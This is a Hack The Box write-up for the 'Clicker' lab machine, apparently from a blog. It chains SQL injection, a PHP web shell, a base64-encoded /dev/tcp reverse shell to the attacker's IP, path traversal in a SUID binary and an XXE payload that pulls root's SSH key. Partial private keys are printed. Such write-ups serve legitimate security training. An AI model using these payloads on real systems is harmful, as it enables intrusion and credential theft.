Description
Clicker is a medium Hack The Box machine that features:
- SQL Injection in web application leading to Remote Command Execution after injecting PHP code
- User Pivoting by reversing the functionality of a custom binary
- Privilege Escalation by retrieving the
rootprivate SSH key using a XXE vulnerability
Footprinting
First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.10.11.232.
$ ping -c 3 10.10.11.232
PING 10.10.11.232 (10.10.11.232) 56(84) bytes of data.
64 bytes from 10.10.11.232: icmp_seq=1 ttl=63 time=46.1 ms
64 bytes from 10.10.11.232: icmp_seq=2 ttl=63 time=47.7 ms
64 bytes from 10.10.11.232: icmp_seq=3 ttl=63 time=46.2 ms
--- 10.10.11.232 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 46.085/46.646/47.694/0.741 ms
The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.
$ sudo nmap 10.10.11.232 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.232
Host is up (0.048s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
Nmap done: 1 IP address (1 host up) scanned in 1.02 seconds
We get four open ports: 22, 80, 111 and 2049.
Enumeration
Then we do a more advanced scan, with service version and scripts.
$ nmap 10.10.11.232 -sV -sC -p22,80,111,2049 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.232
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
|_ 256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Did not follow redirect to http://clicker.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
111/tcp open rpcbind 2-4 (RPC #100000)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
2049/tcp open nfs 3-4 (RPC #100003)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.99 seconds
We get three services: one Secure Shell (SSH), and one Hypertext Transfer Protocol (HTTP) and one Network File System (NFS). As we don’t have feasible credentials for the SSH service we are going to move to the HTTP service. We add the clicker.htb domain to the /etc/hosts file.
$ echo '10.10.11.232 clicker.htb' | sudo tee -a /etc/hosts
By enumerating the website, we find a clicking game in which we can register or login.
We can register an account and play the game.
When the Save and close button is pressed, a request is sent to the server, to the /save_game.php endpoint with the clicks and level parameters.
Also we have an option in which we can observe a leaderboard.
We do not find a vulnerability in the website, so we move into the NFS service. The NFS service is not protected, so we can list the directories shared.
$ showmount -e clicker.htb
Export list for clicker.htb:
/mnt/backups *
We find that the /mnt/backups directory of the remote machine is shared. We can mount it in our machine and enumerate it.
$ mkdir backup_mount
$ sudo mount -t nfs clicker.htb:/mnt/backups ./backup_mount -o nolock
$ find backup_mount
backup_mount
backup_mount/clicker.htb_backup.zip
We find what it seems the backup file of the website in the .zip format, we extract it.
$ unzip backup_mount/clicker.htb_backup.zip
Archive: backup_mount/clicker.htb_backup.zip
creating: clicker.htb/
inflating: clicker.htb/play.php
inflating: clicker.htb/profile.php
inflating: clicker.htb/authenticate.php
inflating: clicker.htb/create_player.php
inflating: clicker.htb/logout.php
...
We find the source code of the PHP web application of Clicker. Reviewing the source code we find what it looks to a query vulnerable to SQL injection, in the db_utils.php file.
$ cat clicker.htb/db_utils.php
...
function save_profile($player, $args) {
global $pdo;
$params = ["player"=>$player];
$setStr = "";
foreach ($args as $key => $value) {
$setStr .= $key . "=" . $pdo->quote($value) . ",";
}
$setStr = rtrim($setStr, ",");
$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
$stmt -> execute($params);
}
...
We find that it is using a prepared statement, but the parameter that is prepared in only the player one. In the setStr one we can inject code as it is appending to the query every pair of the paratemers <parameter_name>=<parameter_value> with a comma in the end. That this code is handling the request we saw previously to the save_game.php endpoint.
$ cat clicker.htb/save_game.php
<?php
session_start();
include_once("db_utils.php");
if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
...
save_profile($_SESSION['PLAYER'], $_GET);
...
}
?>
In the create_new_player function of the db_utils.php file we find the parameters the user have: username, nickname, password, role, clicks and level.
function create_new_player($player, $password) {
global $pdo;
$params = ["player"=>$player, "password"=>hash("sha256", $password)];
$stmt = $pdo->prepare("INSERT INTO players(username, nickname, password, role, clicks, level) VALUES (:player,:player,:password,'User',0,0)");
$stmt->execute($params);
}
Exploitation
We might try to use the SQL injection to change our role, from the User default to the Admin one as we find in the admin.php file.
$ cat clicker.htb/admin.php
<?php
session_start();
include_once("db_utils.php");
if ($_SESSION["ROLE"] != "Admin") {
header('Location: /index.php');
die;
}
?>
...
As for the SQL injection, we will transform the UPDATE players SET click=10,level=0 WHERE username = user query to the UPDATE players SET clicks=10,role='Admin',level=0 WHERE username = user one. As for the payload, URL encoded, we will use: /save_game.php?clicks%3d10,role%3d'Admin',level%3d0. Now we need to logout and re-login to have access to the administration dashboard in an new option.
We find in this new option that we can export the results of the leader-board in .txt, .json and .html formats. When the file is exported, we receive the message Data has been saved in exports/top_players_sbflshl9.txt. A POST request is sent to the /export.php endpoint with the threshold (1000000) and extension (txt) parameters.
There is type control in the exported file, but only for .txt and .json file. If another extension in specified, HTML code will be saved.
$ cat clicker.htb/admin.php
...
if ($_POST["extension"] == "txt") {
$s .= "Nickname: ". $currentplayer["nickname"] . " Clicks: " . $currentplayer["clicks"] . " Level: " . $currentplayer["level"] . "\n";
foreach ($data as $player) {
$s .= "Nickname: ". $player["nickname"] . " Clicks: " . $player["clicks"] . " Level: " . $player["level"] . "\n";
}
} elseif ($_POST["extension"] == "json") {
$s .= json_encode($currentplayer);
$s .= json_encode($data);
} else {
$s .= '<table>';
$s .= '<thead>';
$s .= ' <tr>';
$s .= ' <th scope="col">Nickname</th>';
$s .= ' <th scope="col">Clicks</th>';
$s .= ' <th scope="col">Level</th>';
..
If we could be able of injecting PHP code in the exported file as a .php file we could gain Remote Command Execution. As the Clicks and Level are numeric values, we need to change the Nickname field. We could try the previous injection to change the nickname column to something like <?php system($_GET['param']); ?>. The request will be /save_game.php?nickname=<%3fphp+system($_GET['param'])%3b+%3f>. The we request to generate the .php file with the POST request to the export.php endpoint with the threshold=1000000&extension=php data. We find the top_players_rshwsr9k.php file, so now we gain RCE by issuing the param parameter with a command, such as id, to http://clicker.htb/exports/top_players_rshwsr9k.php?param=id.
The vulnerability has worked, now we can use this to spawn the reverse shell. We start a listening port.
$ nc -nvlp 1234
We can use an URL encoded payload such as echo+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA%2bJjE=|base64+-d|bash (bash -i >& /dev/tcp/10.10.14.11/1234 0>&1) to receive the reverse shell. It works. We upgrade the shell.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.232] 46018
bash: cannot set terminal process group (1212): Inappropriate ioctl for device
bash: no job control in this shell
www-data@clicker:/var/www/clicker.htb/exports$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@clicker:/var/www/clicker.htb/exports$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@clicker:/var/www/clicker.htb/exports$ ^Z
$ stty raw -echo; fg
$ reset xterm
www-data@clicker:/var/www/clicker.htb/exports$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Exploitation
As console users in the systems we find root and jack.
www-data@clicker:/var/www/clicker.htb/exports$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
jack:x:1000:1000:jack:/home/jack:/bin/bash
Searching for SUID binaries in the system we find an uncommon one execute_query.
www-data@clicker:/var/www/clicker.htb/exports$ find / -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/gpasswd
...
/opt/manage/execute_query
www-data@clicker:/var/www/clicker.htb/exports$ ls -l /opt/manage/execute_query
-rwsrwsr-x 1 jack jack 16368 Feb 26 2023 /opt/manage/execute_query
When the file is executed, is ran with the permissions of the jack user. It is a binary file and there is help about the command in the README.md file.
www-data@clicker:/var/www/clicker.htb/exports$ cd /opt/manage/
www-data@clicker:/opt/manage$ ls
README.txt execute_query
www-data@clicker:/opt/manage$ file execute_query
execute_query: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cad57695aba64e8b4f4274878882ead34f2b2d57, for GNU/Linux 3.2.0, not stripped
www-data@clicker:/opt/manage$ cat README.txt
Web application Management
Use the binary to execute the following task:
- 1: Creates the database structure and adds user admin
- 2: Creates fake players (better not tell anyone)
- 3: Resets the admin password
- 4: Deletes all users except the admin
We find that by using a non standard function number, for example 5, and then a directory with path traversal pointing to a file we can include it.
www-data@clicker:/opt/manage$ /opt/manage/execute_query 5 ../../../etc/passwd
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
We can extract the jack private SSH key.
www-data@clicker:/opt/manage$ /opt/manage/execute_query 5 ..//.ssh/id_rsa
mysql: [Warning] Using a password on the command line interface can be insecure.
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y
...
LsOxRu230Ti7tRBOtV153KHlE4Bu7G/d028dbQhtfMXJLu96W1l3Fr98pDxDSFnig2HMIi
lL4gSjpD/FjWk9AAAADGphY2tAY2xpY2tlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
We can login using SSH protocol.
$ ssh -i id_rsa jack@clicker.htb
jack@clicker:~$ id
uid=1000(jack) gid=1000(jack) groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
We find that jack can run any command as root user, but only by providing a password. Without it, he can only run the /opt/monitor.sh script. With the SETENV flag we can set the environment variables we can pass to the program.
jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jack may run the following commands on clicker:
(ALL : ALL) ALL
(root) SETENV: NOPASSWD: /opt/monitor.sh
The script is using curl command to retrieve diagnostic data from the diagnostic.php endpoint of the server using curl. Then the content of the diagnostic (presumably XML) is parsed with the xml_pp binary. It is setting the PATH and unsetting the PERL5LIB PERLLIB variables.
jack@clicker:~$ cat /opt/monitor.sh
#!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Error, please run as root"
exit
fi
set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;
data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
exit;
else
timestamp=$(/usr/bin/date +%s)
/usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi
The script returns us the XML diagnostic file.
jack@clicker:~$ sudo /opt/monitor.sh
<?xml version="1.0"?>
<data>
<php-version>8.1.2-1ubuntu2.14</php-version>
<test-connection-db>OK</test-connection-db>
<memory-usage>392704</memory-usage>
<environment>
<APACHE_RUN_DIR>/var/run/apache2</APACHE_RUN_DIR>
<SYSTEMD_EXEC_PID>1174</SYSTEMD_EXEC_PID>
<APACHE_PID_FILE>/var/run/apache2/apache2.pid</APACHE_PID_FILE>
<JOURNAL_STREAM>8:26315</JOURNAL_STREAM>
<PATH>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</PATH>
<INVOCATION_ID>97bbfc92acad45a3999cac5894d8f37a</INVOCATION_ID>
<APACHE_LOCK_DIR>/var/lock/apache2</APACHE_LOCK_DIR>
<LANG>C</LANG>
<APACHE_RUN_USER>www-data</APACHE_RUN_USER>
<APACHE_RUN_GROUP>www-data</APACHE_RUN_GROUP>
<APACHE_LOG_DIR>/var/log/apache2</APACHE_LOG_DIR>
<PWD>/</PWD>
</environment>
</data>
If we could intercept the request and change it to exploit a XXE (XML External Entity) vulnerability we can return to us privileged files, such as /etc/shadow or /root/.ssh/id_rsa. We can use the http_proxy environment variable to point to our server and the activate the intercepting in our proxy.
jack@clicker:~$ sudo http_proxy=http://10.10.14.11:8080 /opt/monitor.sh
We are going to use the following XML code for the XXE.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "/root/.ssh/id_rsa"> ]><element>&xxe;</element>
We receive the private key.
jack@clicker:~$ sudo http_proxy=http://10.10.14.11:8080 /opt/monitor.sh
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "/root/.ssh/id_rsa">
]>
<element>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAmQBWGDv1n5tAPBu2Q/DsRCIZoPhthS8T+uoYa6CL+gKtJJGok8xC
...
We login using SSH to gain full privileges.
$ ssh -i id_rsa_root root@clicker.htb
...
root@clicker:~# id
uid=0(root) gid=0(root) groups=0(root)
Flags
In the root shell we can retrieve the user.txt and root.txt flags.
root@clicker:~# cat /home/jack/user.txt
<REDACTED>
root@clicker:~# cat /root/root.txt
<REDACTED>